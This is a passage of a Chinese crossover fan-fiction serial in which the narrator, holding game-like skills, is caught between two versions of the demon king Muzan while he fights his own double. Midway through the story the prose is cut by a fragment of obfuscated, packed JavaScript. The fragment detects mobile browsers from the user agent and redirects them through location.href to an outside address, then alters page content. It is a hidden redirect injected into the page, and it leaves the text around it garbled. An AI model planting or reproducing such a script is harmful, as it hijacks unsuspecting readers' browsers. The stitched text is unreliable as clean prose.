“别忘了这里只是我过去的经历,我自己对上弦的安排,自己可不会忘。”他勾唇冷笑,我这才听明白他话中带的刺,“让你疲于奔命的那点任务,在这里可比之前的都容易吧,这次怎么不为了积分去当正义使者了?” 好吧,他就是在阴阳我。 “以前那些人都跟我们没什么关系嘛,这次就算了吧,我总不能帮你讨厌的人打你的下属。”我缩缩脖子小声道,本来我也没打算和他说这些,尽管这边的剧情熟悉到想赚积分都是信手拈来,但怎么想怎么觉得会惹他不高兴。 “而且,如果让他们看见你的话,最后还是要打得死去活来,他们又不可能马上相信你不是敌人……” “嗯,你这次还挺识趣的。”他回过来一句莫名其妙的评价。 “我哪次不……对不起嘛,我只是积分不到一千都会觉得不安心的贪心人类。” 然后他没再和我说话,像是在专心思考与另一个自己战斗的方法。我取出「八房」,惊喜地发现之前在泰拉用无胄盟杀手做成的尸体傀儡也带过来了,这可是好消息,泰拉人的身体素质在这里完全算顶尖,这些杀手攻击时也或多或少会使用源石技艺,有他们在的话,作战压力就会小很多。 然后,还有什么能增加胜率的方式呢…… 我偷偷瞄向他,思索再三后走过去戳了戳他的胳膊,问他:“那个,要不,就是……你要不要喝点我的血?” “哈?” “就是那个,我现在不是体质变了嘛,之前你也说我的血有很多能量来着,你要不要现在喝一点?” 他挑眉嗤笑一声,目光放到我的脖颈处:“你好像还挺期待的,难道说你很喜欢吗?” “我不是一直挺喜欢你的……不是,重点不是这个啦!”我用力摇摇头,拉开一点衣领做出更认真的表情,“我知道味道很差,但你可能需要,所以我才来问你的。” 空气又变得沉寂下来,我意识到自己问了很没用的问题。他大概不需要吧。 回绝的话语毫不意外地传入耳中:“所以你觉得,我需要你那点微不足道的帮助吗?白夜,动动脑子,我想杀死另一个自己,不需要任何人帮忙,这点你还不清楚吗?” 但他说话的同时又抬手上前,我能感到他正虚握着我的脖子,稍微用力就能折断,他的拇指在我颈上血管的位置摩挲,而后尖锐的指甲轻轻刮过表皮,等他收回手的时候,极小的血珠停在他指尖,很快就被吸收掉了。 “看你一脸期待地来问我,就勉强满足你一下吧。”他语气戏谑,又马上沉下声来警告我,“你最好别帮倒忙。” 我应声说好,察觉到气氛有些尴尬,便主动退到房间另一角和他保持了距离。 片刻的宁静最终被纸门破裂的声音打断,有什么东西直接击穿了上方的纸门,落入房间,几乎是奔着鬼舞辻无惨去的。 毫无疑问,是另一个他,这条原作世界线的<无惨>。 他果然第一时间就来找这个自己了,鬼杀队已不再重要,他要先排除这个无法控制、同样傲慢的同位体。一模一样的面孔,只是头发在毒药的作用下全部变白,双腿裹上暗红色的血甲,一些长有利齿的巨口在他四肢张开,与站在我身旁的无惨相比,完全就是怪物本质的模样。 那个<无惨>在开口说话前斜睨了我一眼,并未把我放在眼里,只顾着看向自己的同位体,开口道:“或许你可以告诉我,你是怎么会出现在这里的,另一个我?” “那和你有什么关系,我倒也想知道为什么会碰上另一个自己,但这种事对‘我’都不重要吧,难道说另一个时间线的我,会因为那些理由就放弃自己要做的事?”鬼舞辻无惨站立原地,垂在身体两侧的手五指张开成爪状,指尖闪着青蓝色的寒光,看向同位体的双目红得快要滴出血来。 <无惨>冷笑着,不打算再废话,手臂化为异形直接甩了过去:“看来不用再多说了,既然是‘我’的话,理所当然明白该做什么,让我来看看另一个自己有什么特别之处。” 和室在打斗和碰撞中变得支离破碎,下方是更广阔的平台,像是寻常日式房屋的底部。两个鬼王缠斗着,没有一个注意到我,他们的动作快到我肉眼几乎只能捕捉到一些残影,现在上去帮忙绝对会被瞬间撕成碎片。八具无胄盟杀手的傀儡中有两三个弓箭手,让他们躲在暗处放箭的话……他们毕竟也只是普通杀手的水平,弓术还没有精湛到能跟上<无惨>的速度。 但他们很快就派上别的用场了。许是因为我站在无惨身边,还表现出关系不差的样子,即便那个<无惨>和我素不相识,他也并不打算完全无视我;在他们打斗的间隙,十数个奇形怪状的鬼从无限城的各个角落涌来,他们的攻击目标是我。 这些鬼的实力并不强,但我手中的「八房」并非日轮刀,砍掉头颅也无法杀死鬼,那些无胄盟杀手的傀儡就更无法处理他们了。 杀不死他们,至少也得延缓他们的再生速度,不能在这里浪费体力。我心说方才构思的技能方案中大范围群攻技能在这里就要派上用场了,毫不犹豫地掏出技能石抛向空中,无师自通地将「八房」的刀尖刺上石中。 “当他们哀嚎求饶时,无人应答。”下一刻我挥动手臂,带起太刀甩出一道弧线,弧线变为锋利的剑气,横扫向身前扑上来的几个小鬼。凌冽的剑气带着寒意,斩在小鬼身上瞬间将他们的身体劈成两半,余波扫在地板上留下刀痕,刀痕周围宛若结起薄冰般闪着银光。 一刀接着一刀,持续半分钟的【真银斩】将涌来的普通鬼的尽数劈砍成不足一掌大的碎块,这些鬼最多只达到下弦的水平,切碎成这样一时半会也无法迅速再生,我终于抽出点时间喘口气再看看无惨那边了。 我突然感到侧边有什么东西迅速飞来,下意识转身提刀挡住,刀刃将攻击弹开,却还是被冲击力推得连连后退。我的后背撞在墙壁上,疼痛感遍布全身,一口鲜血涌上喉头,我咬着牙忍了忍,还是没能装作无事发生咽下去。我吐血的模样被两个鬼舞辻无惨都看在眼里,两道目光同时投来,一个属于攻击者不屑的嘲弄,另一个把疑问写在眼中。 “我没事……【真银斩】美丽的防御-70%……”攻击正好打在我技能时间结束的前一秒,于是我无可奈何地用技能减益状态导致的变脆的身板扛了一下,人倒是没事,只是我现在很想问候一下技能设计师。 鬼舞辻无惨身上看不出任何伤势,他和自己的同位体在所有的能力上都是相同的,打了半天就算互相给对方造成了什么伤口,都在下一刻再生,打到现在无惨连头发都没乱。我展开【钙质化】的范围,同时覆盖到<无惨>,他意识到自己的行动变缓时再次向我攻击,都被无惨拦下。 但这样依然不是办法,说到底他的弱点始终只有阳光,在这里拖到日出时刻也晒不到太阳,更何况短暂克服太阳的道具也没有买新的,等日出只是伤敌一千自损八百的手段。而且我私心就是不想让这里的人再看见第二个无惨了,我有预感那样做后续会引出无数麻烦,我只想不接触这里的任何人就结束任务。 能代替日光的东西只有日之呼吸,可我上哪里找那玩意? 我看向<鬼舞辻无惨>,他正意味不明地盯着我,几秒后挪开了视线。他大约是不再把我当作有威胁的存在了,将全部注意放在和同位体战斗上。我给尸体傀儡下了让那些鬼保持断肢与碎片状态的指令,向上跃了几层翻进一扇窗,低头从上方观察战场。 无惨如果是游戏角色,会是什么属性和数值呢?我不禁这样思考起来。哪怕是日轮刀,普通的刀法也无法砍伤他,所以他大概是防御极高的那类,而且还是生命上限更高的血牛型角色;《鬼灭之刃》作品世界观中的法术只有血鬼术,由他血液赋予的能力自然对他无效,呼吸法归根结底也只是物理剑术,所以他大概防不住法术伤害。 啊啊啊啊啊我为什么真的在用这种思维方式思考啊! 不管了,至少我想到了一个可以用的技能,既能跟上他的速度、持续锁定他,也能防止他被攻击后迅速调整身体产生法术抗性,而且释放这个技能的时候我能找地方躲一下,不担心站桩被他提前干掉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679163|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 第二颗技能石被我扔下去,在下坠过程中化为菱形的浮游信标,向争斗的两个影子飞去,随后精准地锁定其中一个,开始持续释放电流法术。即便无法造成大量伤害,也能对他的行动形成干扰,偶尔浮游单元炸出一道电花,无惨马上就能抓住这个瞬间用手臂化成刺鞭削去他一部分肢体。 【澄净闪耀】的作用不容小觑,而且技能所有者澄闪的天赋也有法术穿透,就算<鬼舞辻无惨>真能迅速适应法术干扰,这个技能还是能削弱他对法术的抗性。 但我确实是一点都没办法放松警惕,30秒的技能时间还未过去一半,他就已经找到了我躲藏的位置。无限伸长的管鞭飞上来,我下意识翻身滚过,回头看便发现原本蹲着的地方木板已被戳烂。管鞭再次袭来,很快这处平台就几乎没有落脚之处了,我只能心一横重新跳了出去。 从这里掉下去的时间很短,钙质化的源石技艺也挡不住他的致命攻击,我必须想出新的应对方法,如果能再对战局有实质性的作用就好了。能跳过他的防御,直接对他造成伤害,还能在那么近的距离下保证我不被他杀死,这样的技能…… 有了! 如果无法拖他到日出,又找不到日之呼吸的替代品的话,说不定这招可以尝试一下—— “无惨!稍微让一下!”我喊出这句话就后悔了,两个鬼王同时抬头看向我,我手忙脚乱地解释,“我没……算了,反正给我让个空位!” 技能石融进手上的太刀,刀身上燃起金色的法术能量,化作一柄剑枪的形状,连带着我周身都焕出金色。同时又一把通体闪着金芒的长剑也瞄着<无惨>飞去,重重插在他面前。 今日天气:晴转大荒星陨。 我没赌错,【耀阳颔首】的强烈光芒灼伤了他,剑枪形的法术能量也对他造成了穿透防御的真实伤害。我喜形于色,低声念了句游戏台词:“太阳啊,请为我颔首……” 我的话被打断了。 身后的无惨骂了我一句发什么病,迅速后撤,找到掩体后闪身躲入其中。 啊…… 这个技能对他有友伤?! 我闭上眼对他喊了句对不起我不知道这是无差别攻击,手上的动作依然不敢停,面前的<无惨>被技能同步召唤的“耀阳”阻挡,顶着灼烧一拳又一拳砸断了那柄长剑。技能终究只有25秒,待他走到我面前时,太刀上的法术已经燃尽,他身上的灼痕也渐渐修复。我盘算着把尸体傀儡召唤过来能给自己争取多少逃窜的时间,却不想他没有急着出手,而是压低了声音对我说道: “你比我想象中的,还要麻烦,另一个我究竟是怎样找到这样一个人类的?” 手上的动作在他开口的同时停滞住,我想过数种和这个<无惨>可能会有的正面交流,唯独没想过他会这么问我。或者说,我唯独没想过,他为什么不杀我? “这倒是解答了我的一个疑惑,在看见他的时候,我还在想,另一个自己怎么会带着人类在身边,现在看来,你确实有些用。” “我……再怎么说也能解决他一顿饭吧,是个人都对他有用,对你也是。”我只知道现在自己再做出任何惹怒他的行为,他都会在无惨从掩体中赶来救我之前杀死我,但我还是不明白,他想跟我说什么? 面前白发的鬼王气质与我熟悉的一模一样,除了他先前不认识我,对我一无所知,所以我有机会在他身上偷到一点伤害。他瞥了眼我手中的太刀,又看了看地上“耀阳”的残片,看着我的眼睛继续说:“就在刚才,我手下那些没用的家伙都被猎鬼人杀死了,按照你现在表现出来的能力,应该能适应我的血液吧。” 他在说什么? “我、我不明白……”我不明白他为什么在对我,发出邀请? “鬼杀队想在今晚杀死我,但他们不会得逞,因为我看出来,我的那个同位体似乎来自未来,他一定知道今夜的发展。”他语气平缓,看见我没有立刻反击或逃走,满意地笑了笑,“你的衣着和其他人类不同,大约也不属于这里,你和他所处的那个地方,对这里的了解有多少?” 我徒劳地摇头,胸中警铃大作,找不出任何能说的话。 “给你一个机会,你也可以理解成一种,交易——帮助我吞噬掉我那个同位体、解决鬼杀队,之后嘛,或许我也可以让你成为第二个克服阳光的鬼。” 他见我愣在原地不回答也没有恼怒,张口就要继续抛出条件。我隐约猜到他可能会说什么,但那是我绝对不想听见的话,是我最不愿意看见的……我最不愿意,最害怕的一种可能性,我以为这只是极小概率、或者绝不会有的发展,可他好像,真的要那么说了…… 熟悉的面孔上,猩红的双眼映出我的惧色。 “而且我还发现了,你,喜欢我——哦,换个说法,你是喜欢他,不过那本来就是另一个我,又有什么区别呢?而且看看你现在的样子,恐怕在你心中我和他就算同一人吧。” 不,不要再说了。 “如蝼蚁般弱小的人类,敢于喜欢身为鬼之始祖的我,虽然听上去有些令人作呕,但也值得欣赏。更何况,你这么真诚,我想你是愿意为他付出一切对吧?” 求求你不要再说了,我不想…… “我暂且理解、也认可你的喜欢,虽然我还不太清楚另一个自己在你身上发现什么其他的价值,但没关系,如果你抓住现在的机会,我也可以试着了解你一下。” 我颤抖着后退一步,却被他抓住手臂按在原地,他凑近我直视着我的双眼,吐出了这段话中的最后一句: “既然对你来说喜欢的本就是同一人,我和他又有什么区别呢?你应该能做正确的选择。” 我该拒绝他的,无论如何,我都该拒绝他。我应该再拿新的技能石,去攻击他,把伤害叠上去然后杀掉他,完成系统任务,拿到更多积分。眼前的<鬼舞辻无惨>并不是我认识的那个,并不是和我一同完成这么多游戏任务的那个,就算长得一样性格也一样又怎么样,他只是为了击败同位体才这么和我说的,我应该趁他离我这么近再用一次高额的法术伤害击穿他的心脏,用任何我能想到的高数值攻击击退他。 我该拒绝他的。 可是…… 可是我做不到啊。 鬼舞辻无惨>无惨>无惨>无惨>鬼舞辻无惨>鬼舞辻无惨>无惨>无惨>无惨>无惨>无惨>无惨>无惨> 32. 第 32 章 鬼舞辻无惨今天是打算来全灭这几百年纠缠他不休的这群猎鬼人的,当然,被产屋敷耀哉暗算的事虽然算意外,也并不影响整个计划,区区人类又能做到什么呢? 珠世的毒确实牵制了他一会,但那个女人也早已化为灰烬,毒素也基本化解,他要做的就是去杀光鬼杀队。 不过暂且先等一下,他还有一件事要做。 有一件在他意料之外的事,他在命令鸣女将所有猎鬼人传送进无限城时的一瞥,一个不受他控制的鬼的气息、一张与他一模一样的脸、一个与他如出一辙的灵魂。 两双红眸对上的瞬间,他瞬间就明白了,那是另一个自己。 毫无疑问,对方也一定明白了,他是如此了解自己,绝不会判断错另一个相同个体的想法。 他必须先去解决那个“另一个自己”,世上不可能同时存在两个鬼王,他也不允许有任何一个生命个体与自己一样、或是比自己更接近完美的永恒状态。他要先去把那家伙解决掉,比起鬼杀队,另一个自己才是更大的威胁,而且他为了化解毒素消耗了不少精力,一个与自己同等的生物个体完全是最好的养料,吃掉他的话,力量也会变得更强。 所以他在眨眼间就做出了判断,让鸣女把闯入无限城的两个不速之客传送入深处的一个密闭房间,他要亲自去处理。 对,两个。 另一个自己身旁有一个人类少女,看起来关系还不错,尽管鬼舞辻无惨自己是不太明白自己怎么会允许人类跟随在身边,但也先一同放置好了。他暂且还是相信自己不会留着毫无价值的人——如果另一个自己的脑子还正常的话。 而且那个人类至少也算给了他一个有用的信息,她的衣服可不像这个时代的人类会穿的风格,连同另一个自己,他们的气息都是在某个瞬间突然出现在无限城,如果他没猜错的话,他们来到这里的契机大概也有些玄妙,甚至他们可能来自于另一个全然不同的世界。他对其他地方都没什么兴趣,倒是想了解一下从那种地方来的“鬼舞辻无惨”是否拥有了克服阳光的能力。 在分解毒素的这段时间里,除了与珠世的细胞对话,盘问她都用了什么毒之外,鬼舞辻无惨还通过手下的视觉关注着密闭空间中二者的一举一动。 那个人类和另一个自己的互动算不上亲密,看上去另一个自己还没有蠢到陷入人类那些没用的感情里,只不过也确实和他第一眼看到的一样,那少女和另一个自己关系不错。他们的对话提到了一些自己听不太懂的词汇,似乎没有他想找的信息,不过想也知道以自己的性格是绝不会把重要的事情告诉身边的人类,所以大不了在解决他之后从他的细胞中找点记忆信息。 哦等等,他还发现了一件更有趣的事。 那个和另一个自己一同出现的人类女孩,她的态度可以说是毫无礼数,但鬼舞辻无惨发现了,她看向另一个自己的时候,满眼都是对方啊。 有这么喜欢吗?他不禁嗤笑一声,人类都是什么愚蠢的生物,居然会满脑子都是这些东西。他暂时还看不出这人类有什么特别之处,如果只是空有喜欢的情感那也太微不足道了些,暂时不用管她了,等他和另一个自己对战的时候,随便找几个鬼去杀掉她就好了。 属于鬼王的高傲让他们注定要厮杀至只剩一人,而对自己的完全了解又让他们一时半会很难分出胜负;所有的出招,所有的战斗习惯都映在脑海中,几乎一致的动作和能力下谁都没有占到上风。 这个时候,人类少女的小把戏又一次引起了鬼舞辻无惨的注意。强力的斩击,具有干扰性的法术飞行物,还有从天而降与日光同等威力的那一招,他开始明白另一个自己为什么把她带在身边了,毕竟她确实有些本事;她手中的剑枪不断焕发出让无惨感到灼痛的光芒,但也仅此而已,到底还是无法真正和阳光相比,而且一小会之后,她手中的武器就不再发光了。 啊,他也看到了,在她看向自己的眼中,有着一些相同的情感。 他改变主意了。 原来是这样吗?虽然不知道这个人类少女都了解些什么,但她是喜欢的吧,“鬼舞辻无惨”这个个体,无论是自己还是另一个,甚至可能在其他地方还有无数个相同的自己,她都是喜欢的吧。这点倒是有趣,在她眼中“鬼舞辻无惨”究竟是什么样的存在?人不会无缘由地喜欢一个刚见面就兵刃相向的对象,她的喜欢也不是空穴来风,而即使是这个从未认识过那女孩的鬼舞辻无惨,也能看出来,她的情感是完全纯粹的。 竟是这般有趣的状况吗…… 鬼舞辻无惨尝试向那个人类少女搭话了,在听见他的声音的瞬间,少女眼中闪过犹疑,很快就没了战斗时那种气势,他知道他猜对了。 人类就是这样脆弱的生物,分明应该算属于另一个自己的棋子,却那么轻易就对同位体动摇了,倒是好笑。她看向自己的脸上写着恐惧,她在害怕什么呢? 若不是为了制衡同位体,他是不会向这个人类抛出橄榄枝的。 毕竟她的能力看起来也能伤到另一个自己,而另一个自己似乎又有些看重她,那夺走她或许也不错。既然自己的同位体能在她身上发现点什么价值,那即便自己从未认识她,也愿意花点时间去看看她还有什么值得在意的特点。反正不过是个人类,她如果不识好歹的话,直接杀死也没什么大不了的,又不是什么很重要的东西。 对,就是这样,鬼舞辻无惨嘲弄地看着少女犹豫不定的模样,他就知道她无法拒绝自己的提议,这般脆弱不经考验的情感,究竟有什么脸把喜欢挂在嘴边?不过算了,等他最后攻破她的心理防线,他自然会将她变成鬼,然后洗去除他以外的所有思想;他现在需要的是好用的工具,不是这种没有价值的喜欢。 相比起另一个不会给她好脸色、只会给她冷眼的自己,她一定会更喜欢一个偶尔愿意给她点回应的对象吧,只要偶尔哄骗一两句就好了。 他看见另一个自己正向这里袭来,便随口留下最后一句: “我的同位体大概完全不会给你回应吧,他只会借着你的喜欢利用你,连血液的赏赐都不曾给你;如果是我的话,偶尔一次奖赏,我还是不会吝啬的。” 人类的喜欢,无非是有所图。 他看见她低头沉下去的面孔,心说果然不会有例外。 等今晚将鬼杀队都处理掉,也不用留着她了吧。 —————————— 我做不到拒绝他。 应该说,我无法拒绝“鬼舞辻无惨”,从来都是。 如果只是面相一致的幻觉或者易容,那并非难题,但这根本就是本尊……与我一路走到这里的鬼舞辻无惨是那个《鬼灭之刃》的剧情结束后来到我家把我扯进这个游戏系统的双排队友,面前白发的四肢覆着血甲的<鬼舞辻无惨>是属于原作剧情的那个最终BOSS,根本就是同一人,除了经历之外两个灵魂本就是相同的。 为什么要向我抛出橄榄枝?他分明是不认识我,也绝不会多看我一眼,【耀阳颔首】的技能事件结束后,他只需一击就能将没有及时拉开距离的我杀死,可他为什么没有这么做? 为什么要表现出这种我好像很重要的样子? 看着他一步步向我走来,站在原地无法做出任何表示否定的动作,只是呆愣地看着他抬手即将覆上我的脸。 其实我知道的,他想压制自己的同位体,耀阳的光芒让他察觉到了我手中技能的威力,而我与鬼舞辻无惨的交流也让他意识到我了解这个世界的人所不知道的信息。我知道他是这样的性子,他的质疑和承诺都是来自地狱深处的恶魔的低语,我当然知道……无论是哪个“鬼舞辻无惨”,从来都只是把他人看作工具,是因为有价值才会加以利用;无论是哪个,对我来说都一样,在他们眼中的我,也从来都是同样的、有价值的棋子。 “我真的无所谓的……”我低头垂眸不去看面前的<无惨>,在他说着自己和同位体不同,会施舍我一点回应的时候轻声告诉他,“我也没有想要回应,因为理所当然就是不该有的……本来就是这样的,对我来说只要是你……” 他的手掌在离我只差毫厘时顿了顿,似乎是想听我把话说完,他停下手中的动作看着我。 “哈,这里的你毕竟是第一天认识我呀,无惨。” 如果变成鬼的话,矿石病的潜在威胁或许就不用担心了,因为哪怕在罗德岛的检查结果无法确定我的感染程度,肩膀上的源石结晶也不会骗人,在连续使用三次技能之后甚至又有些隐隐作痛,不知道是不是又多长出来了些结晶。如果变成鬼的话,大概脑子里就不会有除他以外的任何其他事物了,那样也没什么不好的,而且掌握着剧情信息的我还能直接打碎鬼杀队今晚那唯一获胜的微渺希望。 “我真的很喜欢你。” 面前平静得近乎冷漠的<鬼舞辻无惨>确实不认识我,他大约认为随口抛来永远不会兑现的回应会让我毫不犹豫地选择他。或许我真的那么做了之后,等今夜过去等待我的就是死亡的结局——其实也没关系,这当然是我能接受的——我只是真的不需要他哪怕是装出来的那一点点回应,他明明只要在那里就好了。 我又不是什么真正重要的东西,那么在意我干什么呢。如果我真的对系统尚未明确的机制不管不顾,不在乎可能存在的惩罚,不在乎任务和积分,只要他开口问我是否有最轻松的全灭鬼杀队的方法,我会毫不犹豫告诉他可以把我这具长着源石的身体当作炸弹引爆。前提是我能做到。 我后退了一步,凌冽的寒光擦着我的鼻尖划过,<无惨>的手被瞬间切断,随后我的衣领被人拽住向后拉去,鬼舞辻无惨不等我站稳便松了手,我失去重心跌坐在地上。 事实就是连最简单的背叛我也无法做到。 这不是什么电车难题,只是基础的二选一,而明明对我来说无论选哪个都能达成一个足够满意的好结局,可我甚至无法做出抉择。我看见无惨瞥向我时眼中的失望,当然也有在我后退时另一个同位体面上露出的不满,哪个都选不了的结果是对不起所有人,即便明白这个道理我也还是卡在这个岔口了。 我自嘲自己真是差劲,心说干脆等他们分出胜负再做打算吧,既然于我而言哪个都可以的话,就把选择权留给他们好了。我关掉了刚刚打开的系统商店不再考虑买新的技能石,也收起了太刀「八房」,退远了一些只想等他俩能打出一个结果。 唉,就是无论之后哪一方获得胜利,我都还是得面对一些怒火和责备吧……这也是没办法的事情,那短暂的几句对话,来自原本故事线中鬼王强大的心理洞察力确实将我剖了个干净,在刚才那一出之后,我已经没办法再出手攻击他了。 如果真的留在这里也没什么不好,我能见证喜欢的他 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好烦啊,这系统把我们传送到这边不是纯找事嘛。 我也不是没想过打到一半我的那些源石技艺会引起原作这位<无惨>的注意,而他有小概率会问我是否要变成鬼为他杀敌,只是没想到,亦或是没敢想过他会那样说。所以在他的话语向我害怕的某个方向推进时,我就知道我真的完蛋了。 总之现在我不想参与他们的战斗了,逃避可耻但真的有用,反正我早就决定好把这趟旅程的命运交给无惨了,那最后是哪一个“无惨”都不重要了不是吗?当缩头乌龟也没什么不好的,因为他一定会帮我做出决定。 其实我还想过他们是否会突然一拍即合决定先联手做掉鬼杀队,说实话我还有点害怕那种发展,大约是因为两个相同的食物链顶部生物真的能够唤起我身为人类埋在族群基因中的对物种灭绝的恐惧,但那种事情最后也没有发生。现在坐在这边冷静下来想一想,属于鬼王的傲慢让他们不屑于向自己的同位体求助,也不会把鬼杀队的威胁等级排在同位体之上,所以他们从一开始就没有把别的东西放在眼里,这个我以为有可能发生的事是一则概率为零的假想。 不过说到底大约还是跟我双排游戏的无惨更胜一筹吧,这种时候我竟生出一种该死的欣慰感,仿佛观看斗蛐蛐时灵机一动“我寻思这边能行”并真的看着所选的一边获胜,我赶紧打消了这个念头。话说回来这么想也不是没有理由,毕竟原作的<无惨>已经受到了珠世的毒素影响,随着时间拉长,他的身体能力会被逐渐削弱,时间一长他就会落入下风。 所以就只是时间问题,鬼杀队一时半会找不到这里,他们就可以无止尽地战斗下去,但就在战斗真的开始转为持久战时,变故又发生了。 顶上的天花板被唐突撞碎,一个人影从碎裂的洞口跃入这个空间,愤怒地喊着鬼舞辻无惨的名字向下挥刀劈砍。当然,来者在看见空间内一个模子刻出来的两位后也愣住了,刀刃上刚燃起些的火光也瞬间熄灭,时间仿佛在此刻停滞。 一切发生得太快,如此短暂的时间中我只来得及猜测为何他会出现在这里,或许是两个鬼王同时出现,翻了倍的仇人气息引着他一路冲了过来,连方才一同作战的同伴都追不上,他径直冲过来,打碎了——或许该说是用头撞碎了空间之间的木制隔断,跃了下来。 灶门炭治郎,他现在看见了两个鬼舞辻无惨,这种事对任何人都是极具冲击的,而他也能发觉面前的两个鬼没有一个是替身或复制体那种没什么威胁的东西,他们都是真正的无惨,是最难战胜的最终敌人。 我突然意识到不对,余光中两张方才还在对峙的面孔现在一同望向上方,我想起身蹬地用力向上跳跃,银白色的钙物质已经覆盖上我的手臂,正向前延展形成一面护盾,但还是太慢了。为了战胜同位体而解放所有力量的鬼王只在眨眼间便出手发起了攻击,丝毫没有留情,管鞭顶部的骨刺和带有骨刃的手臂一同向上方少年的要害刺去,甚至冲破了我刚延展过去只来得及覆住他半个身子的钙质防护层。 炽热的鲜血喷溅在我脸上,这个故事的少年主角被定在空中,代表“赫灼之子”的深红色眼睛逐渐失去光泽,通体漆黑的日轮刀随着少年垂下的手臂一同向下坠去。我的大脑一片空白。 不对,我为什么还没有落地?不只是没有落地,耳边也听不见鬼舞辻无惨的声音了,再怎样专注于和同位体的战斗,杀死自己憎恶的敌人后至少也会说点什么,但我耳边只剩一片死寂。 我试图回头去看下方的情况,却连转动脖子都做不到。在漫长又煎熬的沉寂之后,耳边响起了轻细的嘎吱声,像是冬日踩在碎裂的冰面上,随后越发清晰,直到我眼前的景象也猛地绽开裂纹。以灶门炭治郎被击中的伤口为中心,眼前的一切都变得不再立体,蛛网般的细纹迅速扩散,最终在某个临界点骤然爆开。 世界,破碎了。 无惨>无惨>鬼舞辻无惨>无惨>鬼舞辻无惨>无惨>鬼舞辻无惨> 33. 第 33 章 世界在我眼前破碎了。 所有物件都在瞬间从立体变得扁平,随后像一幅置于玻璃画框中的画,而那个玻璃画框碎得干净,仅仅是发生在一瞬间。 然后我就没有印象了,耳边静得可怕,眼前也一片漆黑,我感受不到周围的任何事,这种完全被隔绝的感觉在某个瞬间几乎让我不禁问自己,我真的是真实存在的人吗? 好在这种感觉伴随着涌入口中的干涩黄沙停止了。 我真的吃了一嘴沙子,即便马上吐出,沙石仍有不少沾在舌头和口腔内壁上;我不敢用力呼吸,怕把沙子再吸进器官,如此一来反而弄得自己有些反胃。 沙子吐得差不多了,我才有精力观察自己所处的方位。周边是一眼望不到边的黄土沙漠,我放在便是摔在这块地面上才吃到沙子的,现在双膝跪在地上,地面传来坚实的触感。 至少比刚才那种虚无感要好,我撑着沙地站起身,脚下的沙地比想象中硬实一些,比起单纯的沙漠,倒更像风蚀戈壁的地貌。脚边有几根枯黄的草叶,微风吹来,空气中满是尘土的气味。 这里是哪里? “醒了啊。”熟悉的声音从身后传来,在这片毫无生机的沙漠里是十足的定心丸,我立即回头,鬼舞辻无惨正双手抱臂冷冷地看着我,“醒了就快点用你的脑子想想,这是你看过的哪个作品。” “这种戈壁沙漠一下子很难判断,系统没有说任务吗?”我总觉得他的情绪不是很好,便小心翼翼地问他,只得到了他一个不屑的冷笑。 他说我又不是不能问系统,问他做什么。 我被他怼得说不上话,尴尬地叫了两声系统,却无人回应。往常熟悉的电子音和字幕都没有出现,我心下一紧,用平时习惯的方式想打开系统商店,却也得不到任何反应。 无惨终于回过来一句轻飘飘的:“那个破系统现在像死了一样没有反应了,你该高兴了。” 不是,为什么这么说? 我不解地看着他指了指自己,眨眨眼不明白他为什么突然攻击性这么强。 “再也不会有什么东西要求你做任务了,你可以理直气壮地逃避选择,虽然你废物到单纯跟着那些系统任务做事都做不好,但是现在恭喜,你有了这么完美的一个理由。” “到底怎么了……” “你有什么脸摆出那副无辜的表情?”他突然伸手过来捏住我的双颊迫使我抬头看他,紧盯住我的中净是不满和厌恶,“每日把喜欢挂在嘴边,到头来还是会让我失望。人类的情感,到底是无法指望的东西。” 到底在说什么啊! 脸颊被用力挤压,我说话的时候都有些含糊不清,尽管我确实因为莫名其妙而说着带气的话语,但也因为模糊的发音听上去少了很多气势:“能不能不要那么谜语人?我是有哪里惹你生气了吗?只要你告诉我我肯定会认真反思一下,但我现在不知道你为什么生气啊!” 几乎快捏碎下颚的力量消失了,无惨退开一些距离,冷笑道:“我现在终于明白了,一直以来你总令我感到不悦的原因,白夜,你果然是这样的人。我先前一直都有些困惑,为何在你身上感到些异常,原来你真的是我猜的那样,比我见过的大多数人类都要——自私呢。” “诶……”突如其来的指责令我不知所措,我实在是不明白他态度变得如此恶劣的原因,但又被他的气势压得回不了话,只能缩缩脖子看着他。 “看你毫不自知的样子,反倒让我觉得好笑了。算了,想不明白的话,我来告诉你。” 沙漠上吹起风,带起的黄沙迷了我的眼,待我放下遮挡风沙的手再看他时,他又站到了我面前一步远的位置。 “那个我,当时对你说了什么?” 他问我另一个他先前和我说的话,也就是当时……在【耀阳颔首】的技能结束后,他还未从躲避阳光的掩体后出来时,那个<鬼舞辻无惨>对我说的那些。那份使我本就不坚定的内心动摇的邀请,我既无法理性思考拒绝,也做不到直接顺应感性答应,即便现在脱离战斗了再去思考,我也依然会犯难。 原本在我醒来后下意识松了一口气,因为不用再面对那个强制二选一的难题,这个系统游戏也还在继续;在听见无惨的声音时我更是发自内心感到欣喜的,因为他还在我身边,没有因为那个世界的崩溃而消失。可他现在问起我当时的事,我又该怎样回答他? 我本来是打算把那段对话彻底埋在心底谁都不告诉的,只要他不问,这件事就可以当作从没发生过。况且那个时候他离我并不远,那点距离他怎么可能听不见,还有什么好问我的? “你想答应他,是吗?”他果然是听见了的,见我不出声,便说了下去,“你若真想变成鬼,我也不是不能给你几滴血,说说看,他承诺了你什么好处,让你的眼睛黏在他身上移不开了?” “我没有……”我没有答应那个<无惨>,但我确实是,确实是没有任何底气说自己没动过半点心思。虽然早知道可能会被问起这件事,但真的到了这时候,我还是慌了心神。 鬼舞辻无惨帮我作了回答:“你当时想,既然都是同一人,你都同样喜欢,所以大约两者都是一样的,我说的没错吧。” 我无法反驳,移开视线轻轻点了头。 “我记得你最初和我说,我是一个什么作品里的角色,和之前那些地方的人一样,我倒是想知道,包括我那个同位体,我们在你心里也是那样的存在吗?” 脑中宛若惊雷炸开,接着是自脊背而上的寒意,一口气似乎就这样卡在胸腔内,我半张着口连声音都发不出。直到我试探着抬眼去看他,看见的是他带着笑意的眼眸,我下意识想后退,却被他拉住手腕,无论怎样使劲都挣脱不开。 